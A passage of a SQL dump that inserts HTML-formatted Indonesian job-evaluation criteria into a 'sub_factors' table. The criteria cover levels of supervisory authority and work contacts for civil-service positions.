style=\"font-family:&quot;Arial&quot;,sans-serif\">Menyempurnakan metode dan prosedur kerja yang digunakan. </span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Mengawasi pengembangan data, estimasi, statistik, saran, dan informasi lain yang berguna untuk pejabat yang lebih tinggi dalam menentukan tujuan dan sasaran yang diutamakan. </span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Memutuskan metodologi yang digunakan untuk mencapai tujuan dan sasaran, dan untuk menentukan strategi manajemen lainnya. </span></span></span></span></li>\r\n</ol>\r\n\r\n<ol start=\"2\" style=\"list-style-type:lower-alpha\">\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Jika pekerjaannya dikontrakkan, memberikan berbagai input teknis dan melakukan pengawasan yang setara dengan semua atau hampir semua yang berikut ini :</span></span></span></span></li>\r\n</ol>\r\n\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n\r\n<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Menganalisis manfaat dan biaya pelaksanaan pekerjaan jika dilakukan dalam organisasi atau dikontrakkan kepada pihak lain; </span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">memberikan rekomendasi apakah pekerjaan tersebut harus dikontrakkan kepada pihak lain;</span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Memberikan persyaratan dan uraian teknis pekerjaan yang akan dilaksanakan;</span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Merencanakan dan menyusun jadwal, batas waktu, dan standar pekerjaan yang dapat diterima; </span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Mengkoordinasikan dan mengintegrasikan jadwal pekerjaan kontraktor dengan pekerjaan bawahan atau pihak lain;</span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Melacak kemajuan dan kualitas kerja; </span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Mengatur bawahan melakukan inspeksi yang dipersyaratkan;</span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Memutuskan dapat diterima, ditolak, atau dikoreksi produk atau jasa kerja yang mempengaruhi pembayaran kepada kontraktor.</span></span></span></span></li>\r\n</ol>\r\n\r\n<ol style=\"list-style-type:lower-alpha\">\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Melaksanakan sekurang-kurangnya tiga dari empat yang pertama, dan enam atau lebih dari sepuluh wewenang dan tanggung-jawab berikut ini:</span></span></span></span></li>\r\n</ol>\r\n\r\n<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Merencanakan pekerjaan yang dilaksanakan oleh bawahan, menetapkan dan menyesuaikan prioritas jangka pendek, dan menyusun jadwal penyelesaian pekerjaan;</span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Memberikan pekerjaan kepada bawahan berdasarkan prioritas, tingkat kesulitan dan persyaratan tugas, dan kemampuan pegawai;</span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Mengevaluasi kinerja bawahan;</span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Memberikan saran atau petunjuk kepada pegawai masalah pekerjaan dan administrasi;</span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Mewawancarai calon pegawai dalam unit kerja; memberikan rekomendasi pengangkatan, promosi atau alih tugas ke jabatan lain;</span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Mendengarkan dan menyelesaikan pengaduan dari pegawai;</span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Melakukan tindakan disiplin ringan, seperti peringatan dan teguran, memberikan rekomendasi tentang tindakan lain dalam kasus yang lebih berat;</span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Mengidentifikasi kebutuhan pengembangan dan pelatihan pegawai dengan cara memberikan atau mengatur pengembangan dan pelatihan yang diperlukan;</span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Menemukan cara pengembangan output atau meningkatkan kualitas pekerjaan yang diarahkan;</span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Mengembangkan standar kinerja.</span></span></span></span></li>\r\n</ol>', 3, '2018-09-12 15:38:31', '2018-09-12 15:38:31'),
(11, 'Tingkat faktor 3-2', 775, '<p style=\"margin-left:0in; margin-right:0in; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Untuk dapat mencapai tingkat ini, maka jabatan harus memenuhi ketentuan paragraf a atau b di bawah ini: </span></span></span></span></p>\r\n\r\n<ol style=\"list-style-type:lower-alpha\">\r\n	<li style=\"text-align:justify\">&nbsp;</li>\r\n</ol>\r\n\r\n<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Menjalankan wewenang manajerial untuk menetapkan rencana dan jadwal kerja tahunan dan multi tahun di lingkungan sendiri atau pekerjaan yang dikontrakkan;</span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Memastikan pelaksanaan (oleh unit organisasi yang lebih rendah atau yang lain) tujuan dan sasaran segmen program atau fungsi yang diawasi; </span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Menentukan tujuan dan sasaran yang perlu ditekankan; menentukan pendekatan atau solusi terbaik untuk menyelesaikan masalah anggaran; dan merencanakan kebutuhan staf jangka panjang, termasuk apakah akan mengontrakkan pekerjaan kepada pihak lain.</span></span></span></span></li>\r\n</ol>\r\n\r\n<p style=\"margin-left:0in; margin-right:0in; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Jabatan ini berhubungan erat dengan pejabat struktural tertinggi (atau pejabat kepegawaian instansi) untuk mengembangkan tujuan dan sasaran pengembangan staf, program, atau segmen program. </span></span></span></span></p>\r\n\r\n<p style=\"margin-left:0in; margin-right:0in; text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Misalnya, jabatan mengarahkan pengembangan data; pengembangan keahlian dan wawasan; atau memperoleh pendapat umum; penyusunan makalah atau proposal legislasi; dan pelaksanaan kegiatan yang setara yang menunjang pengembangan tujuan dan sasaran yang berhubungan dengan manajemen program dan pengembangan atau perumusannya pada tingkat yang lebih tinggi.</span></span></span></span></p>\r\n\r\n<ol start=\"2\" style=\"list-style-type:lower-alpha\">\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Melaksanakan semua atau hampir semua wewenang dan tanggung-jawab penyeliaan pada tingkat faktor 3-1c dan sekurang-kurangnya delapan dari yang berikut ini:</span></span></span></span></li>\r\n</ol>\r\n\r\n<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Mengarahkan, mengkoordinasikan atau mengawasi pekerjaan dengan menggunakan salah satu dari yang berikut ini: pejabat penyelia, pemimpin tim kerja, koordinator kelompok, ketua komite, atau pegawai yang setara dan/atau melakukan pengawasan serupa terhadap kontraktor;</span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Menjalankan tanggung-jawab yang cukup besar dalam menangani pejabat dalam unit organisasi atau organisasi lain, atau memberikan nasihat kepada pejabat yang kelasnya lebih tinggi;</span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Memastikan keadilan (di antara unit, kelompok, tim, proyek, dan lain-lain) tentang standar kinerja dan teknik penentuan nilai yang dikembangkan oleh bawahan, atau memastikan keadilan tentang penilaian bawahan pada kemampuan kontraktor atau pekerjaan yang diselesaikan oleh kontraktor;</span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Mengarahkan program atau segmen program yang menggunakan sumber daya yang besar (misalnya program multi miliar rupiah dalam anggaran tahunan);</span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Mengambil keputusan tentang masalah pekerjaan yang diajukan oleh penyelia bawahan, pemimpin tim, atau pegawai yang setara, atau kontraktor;</span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Mengevaluasi pejabat penyelia bawahan atau pemimpin tim dan berfungsi sebagai pejabat peninjau pada evaluasi kinerja pegawai fungsional yang dinilai oleh pejabat penyelia bawahan;</span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Melakukan atau menyetujui seleksi pegawai fungsional di lingkungannya;</span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Merekomendasikan seleksi pejabat penyelia bawahan, pemimpin tim, pemimpin kelompok, atau jabatan direktur proyek yang mengkoordinasikan pekerjaan pihak lain, dan jabatan serupa;</span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Mendengarkan dan menyelesaikan keluhan kelompok atau pengaduan pegawai;</span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Meninjau dan menyetujui tindakan disiplin (misalnya teguran) pegawai fungsional bawahan;</span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Mengambil keputusan tentang kebutuhan pelatihan yang mahal atau kontroversial dan pengajuan pelatihan pegawai;</span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Menentukan apakah pekerjaan yang dilakukan kontraktor sudah memenuhi standar kecukupan yang diperlukan untuk otorisasi pembayaran;</span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Menyetujui anggaran biaya kenaikan kelas jabatan, upah lembur, dan perjalanan dinas pegawai;</span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Merekomendasikan penghargaan bagi pegawai fungsional dan perubahan kelas jabatan;</span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Menemukan dan melaksanakan cara untuk menghapuskan atau mengurangi hambatan dalam pekerjaan, meningkatkan pengembangan tim, atau menyempurnakan metode kerja.</span></span></span></span></li>\r\n</ol>', 3, '2018-09-12 15:39:14', '2018-09-12 15:39:14'),
(12, 'Tingkat faktor 3-3', 900, '<p style=\"margin-left:0in; margin-right:0in; text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><strong><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Jabatan pada tingkat faktor ini harus memenuhi tingkat faktor 3-1 atau tingkat faktor 3-2 ditambah dengan kriteria paragraf a atau b di bawah ini:</span></span></strong></span></span></p>\r\n\r\n<ol style=\"list-style-type:lower-alpha\">\r\n	<li style=\"text-align:justify\">&nbsp;</li>\r\n</ol>\r\n\r\n<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Mengawasi seluruh perencanaan, pengarahan, dan pelaksanaan suatu program, beberapa segmen program (yang dikelola melalui beberapa unit organisasi bawahan), atau beberapa fungsi staf yang setara, termasuk pengembangan, penugasan, dan pencapaian tujuan dan sasaran pejabat penyelia unit organisasi bawahan. </span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Menyetujui rencana kerja jangka panjang (multi-tahun) yang dikembangkan oleh pejabat penyelia unit organisasi bawahan dan mengelola seluruh pekerjaan untuk meningkatkan pencapaian tujuan dan sasaran. </span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Mengawasi perubahan rencana jangka panjang, tujuan dan sasaran pekerjaan yang diarahkan. </span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Mengelola perubahan tingkat alokasi dana atau perubahan lain sebagai akibat dari perkembangan perubahan kebijakan atau undang-undang. </span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Mengelola perubahan organisasi yang diarahkan, atau perubahan besar pada struktur dan isi program atau segmen program yang diarahkan. </span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Mengalokasikan anggaran dalam organisasi.</span></span></span></span></li>\r\n</ol>\r\n\r\n<ol start=\"2\" style=\"list-style-type:lower-alpha\">\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Menetapkan tindakan kepegawaian dan proposal desain organisasi yang direkomendasikan oleh pejabat penyelia bawahan.</span></span></span></span></li>\r\n</ol>', 3, '2018-09-12 15:39:46', '2018-09-12 15:39:46'),
(14, 'Tingkat sub-faktor 4A-1', 25, '<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Hubungan dengan bawahan dalam unit organisasi yang diselia, dengan rekan yang setingkat yang mengawasi unit organisasi yang setara dalam instansi, dan/atau dengan staf administrasi dan penunjang yang berada dalam organisasi yang sama dengan penyelia. Hubungan bersifat informal dan terjadi secara perseorangan di tempat kerja, dalam rapat rutin, atau melalui telepon.</span></span></p>', 8, '2018-10-23 20:48:56', '2018-10-23 20:48:56');
INSERT INTO `sub_factors` (`sub_factor_id`, `sub_factor_title`, `sub_factor_value`, `sub_factor_desc`, `factor_id`, `created_at`, `updated_at`) VALUES
(15, 'Tingkat sub-faktor 4A-2', 50, '<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Hubungan dengan salah satu dari mereka di bawah ini: </span></span></span></span></p>\r\n\r\n<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">anggota dunia usaha atau masyarakat luas;</span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">pejabat penyelia yang kelasnya lebih tinggi dan staf unit kerja di lapangan atau unit utama organisasi dalam instansi;</span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">wakil kelompok kepentingan masyarakat setempat;</span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">pegawai di kantor DPRD;</span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">pegawai pemerintah daerah;</span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">wartawan media massa lokal.</span></span></span></span></li>\r\n</ol>\r\n\r\n<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Hubungan dapat bersifat informal, dalam konferensi dan dalam rapat atau berlangsung melalui telepon, televisi, radio atau cara lain yang serupa, dan ada kalanya memerlukan persiapan khusus.</span></span></p>', 8, '2018-10-23 20:52:00', '2018-10-23 20:52:00'),
(16, 'Tingkat sub-faktor 4A-3', 75, '<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Hubungan dengan salah satu dari mereka di bawah ini:</span></span></span></span></p>\r\n\r\n<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">pejabat penyelia yang kelasnya lebih tinggi, dan staf biro dan organisasi utama dalam instansi; staf penunjang kantor pusat instansi; atau pegawai yang setara dalam instansi lain;</span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">staf kelompok kepentingan masyarakat yang memiliki pengaruh politik;</span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:10pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\">&nbsp; <span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">wartawan media masa besar atau koran daerah yang berpengaruh atau liputan radio atau televisi yang setara;</span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">asisten staf ahli DPR;</span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">staf perusahaan industri yang berskala besar;</span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">pejabat asosiasi perdagangan daerah atau organisasi keahlian tingkat nasional, kelompok aksi masyarakat, atau organisasi profesional; dan/atau pejabat penyelia instansi pemerintah.</span></span></span></span></li>\r\n</ol>\r\n\r\n<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Hubungan terjadi dalam rapat dan konferensi dan mereka yang dihubungi tanpa rencana yang untuk ini pegawai terkait ditunjuk sebagai penghubung oleh pihak manajemen yang lebih tinggi. Hubungan memerlukan persiapan yang panjang berupa bahan pengarahan (<em>briefing</em>) atau materi teknis dengan topik yang rumit.</span></span></p>', 8, '2018-10-23 20:52:55', '2018-10-23 20:52:55'),
(17, 'Tingkat sub-faktor 4A-4', 100, '<p style=\"margin-left:0cm; margin-right:0cm; text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Hubungan dengan salah satu dari mereka di bawah ini: </span></span></span></span></p>\r\n\r\n<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">orang atau kelompok organisasi yang berpengaruh dari luar instansi, seperti direktur perusahaan yang mengadakan kontrak dengan instansi atau perwakilan organisasi pegawai;</span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">pejabat daerah atau nasional atau perwakilan asisiasi perdagangan, kelompok aksi masyarakat, atau organisasi profesi tingkat nasional;</span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">staf ahli DPR;</span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">para representatif yang diangkat dan berasal dari pemerintah daerah;</span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">wartawan media masa, majalah, televisi atau radio tingkat ibukota, daerah, atau nasional;</span></span></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:16pt\"><span style=\"font-family:&quot;Times New Roman&quot;,serif\"><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">para pejabat dengan kelas yang lebih tinggi dalam instansi lain.</span></span></span></span></li>\r\n</ol>\r\n\r\n<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Hubungan terjadi dalam rapat, pengarahan (<em>briefing</em>), pidato, presentasi, atau pemeriksaan dan mungkin memerlukan jawaban yang tidak diduga sebelumnya. Persiapan meliputi brifing atau bahan presentasi yang memerlukan analisis yang ekstensif oleh pegawai dan bawahan, dan/atau meliputi bantuan oleh staf penunjang.</span></span></p>', 8, '2018-10-23 20:54:18', '2018-10-23 20:54:18'),
(18, 'Tingkat sub faktor 4B-1', 30, '<p><span style=\"font-size:12.0pt\"><span style=\"font-family:&quot;Arial&quot;,sans-serif\">Tujuan hubungan adalah membahas pekerjaan untuk memberikan atau menerima pelayanan; untuk tukar menukar informasi tentang operasi kerja dan masalah kepegawaian, dan untuk memberikan pelatihan, nasihat, dan bimbingan kepada bawahan.</span></span></p>', 12, '2018-10-23 20:55:12', '2018-10-23 20:55:12'),
